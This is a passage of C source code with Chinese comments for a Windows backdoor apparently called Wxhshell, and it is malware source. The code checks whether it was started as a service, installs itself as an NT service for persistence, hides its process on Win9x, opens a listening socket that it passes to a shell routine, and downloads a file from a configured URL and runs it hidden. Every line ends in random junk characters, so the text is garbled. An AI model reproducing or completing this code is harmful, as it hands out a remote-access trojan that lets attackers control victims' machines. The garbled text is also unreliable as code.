DWORD AffinityMask; ~q.a<B`,t
DWORD BasePriority; ;9+[t8Y)D
ULONG UniqueProcessId; GbLuXU
ULONG InheritedFromUniqueProcessId; Fbpe`pS+V
} PROCESS_BASIC_INFORMATION; G=.vo3
=nQgS.D
PROCNTQSIP NtQueryInformationProcess; n I63Ns
AO R{Xm
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .}wVM`81z
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mO6rj=L^
JjXuy7XQ
HANDLE hProcess; cL]vJ`?Ih
PROCESS_BASIC_INFORMATION pbi; 7<T1#~w4L
_ \d[`7#
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /Vg=+FEO
if(NULL == hInst ) return 0; &tAhRMa
S[2uez`
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4Pbuv6`RK
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); . paA0j
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O7M8!3Eqm
m ll-cp
if (!NtQueryInformationProcess) return 0; [eb?Fd~WB]
ko2T9NI:S
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l8XgzaW
if(!hProcess) return 0; ji|+E`Nii
_VjfH2Y
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ap:mc:
K~C6dy
CloseHandle(hProcess); qM$4c7'4P6
QgR3kc^7/
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K4G43P5q`
if(hProcess==NULL) return 0; ""; Bq*Y#
^Uj\s /
HMODULE hMod; ($h`Y;4
char procName[255]; vuNt+
unsigned long cbNeeded; wjVmK
RjcU0$Hi
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 17
k9h?s*
vhEqHjR:
CloseHandle(hProcess); B2R^oL'}
]FQO@y
if(strstr(procName,"services")) return 1; // 以服务启动 !Lu noC>B
f"{|c@%
return 0; // 注册表启动 Az`c ?
W%
} b%-S'@ew
S`\03(zDA
// 主模块 $ouw*|<
int StartWxhshell(LPSTR lpCmdLine) At0ahy+
{ BidTrO
SOCKET wsl; Qf>$'C(7!a
BOOL val=TRUE; 1GaM!OC 9
int port=0; 5Al1u|;HB
struct sockaddr_in door; KkIgyLM
YUGEGXw
if(wscfg.ws_autoins) Install(); + n)_\@aQ
JZo18^aD"'
port=atoi(lpCmdLine); J[k,S(Y
]U,c`?[7#
if(port<=0) port=wscfg.ws_port; k(]R;`f$W
a(eKb2 CX
WSADATA data; &tJ!cTA.-
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \U?$ r[P
C)a;zU;9
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }MiEbLduN
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [Zpx
:r}
door.sin_family = AF_INET; TdCC,/c3
door.sin_addr.s_addr = inet_addr("127.0.0.1"); !lnRl8oV
door.sin_port = htons(port); DD?zbN0X
\se
/2l
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >x3$Ld
closesocket(wsl); P&=H<^yd
return 1; auai@)v6
} 9*<=K
QyEGK
if(listen(wsl,2) == INVALID_SOCKET) { =-m"y~{>3
closesocket(wsl); Qf
.ASC
return 1; dc+U#]tS
} ]_EJ "'x
Wxhshell(wsl); [Nw%fuB
WSACleanup(); qj#C8Tc7
l2*o@&.
return 0; !!\x]$v
fN!lXPgM
} I;g>r8N-Bu
h6(\ tRd!\
// 以NT服务方式启动 yW)&jZb"(
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w~%Rxdh?8W
{ N fBH
DWORD status = 0; }HKt{k&$
DWORD specificError = 0xfffffff; ^Mm sja5K
]=28s
*@
serviceStatus.dwServiceType = SERVICE_WIN32; csd~)a nb
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 2e<u/M21>
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .ED8b5t|
serviceStatus.dwWin32ExitCode = 0; 8-u #<D .
serviceStatus.dwServiceSpecificExitCode = 0; TZ+- >CG
serviceStatus.dwCheckPoint = 0; k5@PZFV
serviceStatus.dwWaitHint = 0; .dO8I/lhV
crbph.0
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ef]<0Tm]:
if (hServiceStatusHandle==0) return; Rh,a4n?W
Q`m9I
status = GetLastError(); O\+b1+&b3Y
if (status!=NO_ERROR) nXT/zfS
{ fWz=bJ"V
serviceStatus.dwCurrentState = SERVICE_STOPPED; WXs?2S*
serviceStatus.dwCheckPoint = 0; 4G3u8)b=
serviceStatus.dwWaitHint = 0; A:4?Jd>
serviceStatus.dwWin32ExitCode = status; |r+w(TG
serviceStatus.dwServiceSpecificExitCode = specificError; v
vzP t.ag
SetServiceStatus(hServiceStatusHandle, &serviceStatus); V)Sw\tS6g
return; $e, N5/O
} 5kik+
=1+/`w
serviceStatus.dwCurrentState = SERVICE_RUNNING; ;-Ki`x.oJ
serviceStatus.dwCheckPoint = 0; qO RL
7?{
serviceStatus.dwWaitHint = 0; <
UD90}
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r7jh)Q;BbR
} :Xs3Vh,V
U62Z ?nge%
// 处理NT服务事件,比如:启动、停止 cb5T-'hY
VOID WINAPI NTServiceHandler(DWORD fdwControl) u\q(v D.
{ nt_FqUJ
switch(fdwControl) <)a7Nrc\T
{ q|sT4}
=
case SERVICE_CONTROL_STOP: adWH';Q:
serviceStatus.dwWin32ExitCode = 0; Yq>K1E|
serviceStatus.dwCurrentState = SERVICE_STOPPED; k![oJ.vHD
serviceStatus.dwCheckPoint = 0; t"nxny9&
serviceStatus.dwWaitHint = 0; `b KJ
{ RqKkB8g
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 69S*\'L
} zyB>peAp6j
return; AfpC >>=@
case SERVICE_CONTROL_PAUSE: M=54xTh0Y
serviceStatus.dwCurrentState = SERVICE_PAUSED; 8[H bg
break; ny}_^3
case SERVICE_CONTROL_CONTINUE: ?=,7'@e
serviceStatus.dwCurrentState = SERVICE_RUNNING; =wMq!mBd
break; ?
=I']$MH
case SERVICE_CONTROL_INTERROGATE: 9\VV++}s>o
break; quS]26wQz
}; E(_lm&,4+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `$MO;Fv,G
} ?_d3|]N
30YH}b#B
// 标准应用程序主函数 |$Cfm}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =\M6s
{ Y,?kS
dS
gnadx52FP
// 获取操作系统版本 .I]EP-
OsIsNt=GetOsVer(); uNca@xl'
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?CldcxM#
XUA%3Xr
// 从命令行安装 R[l~E![!j
if(strpbrk(lpCmdLine,"iI")) Install(); 3G'cDemc
K j~!E
H"
// 下载执行文件 Bkg./iP5x
if(wscfg.ws_downexe) { U,8mYv2|
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {I/t3.R`
WinExec(wscfg.ws_filenam,SW_HIDE); 8Vy/n^3)
} p^w_-(p
I%{ 1K+V/
if(!OsIsNt) { })j N
8px
// 如果时win9x,隐藏进程并且设置为注册表启动
`)>}b 3
HideProc(); </b_Rar
StartWxhshell(lpCmdLine); +1r><do;
} y(O~=S+<
else o*3\xg
if(StartFromService()) \}AJ)v*<
// 以服务方式启动 tF\_AvL_8
StartServiceCtrlDispatcher(DispatchTable); @ +a}O
else Lj/
// 普通方式启动 Wiyiq )^
StartWxhshell(lpCmdLine); 4wWfaL5"
U;M! jj
return 0; $W9dUR0
}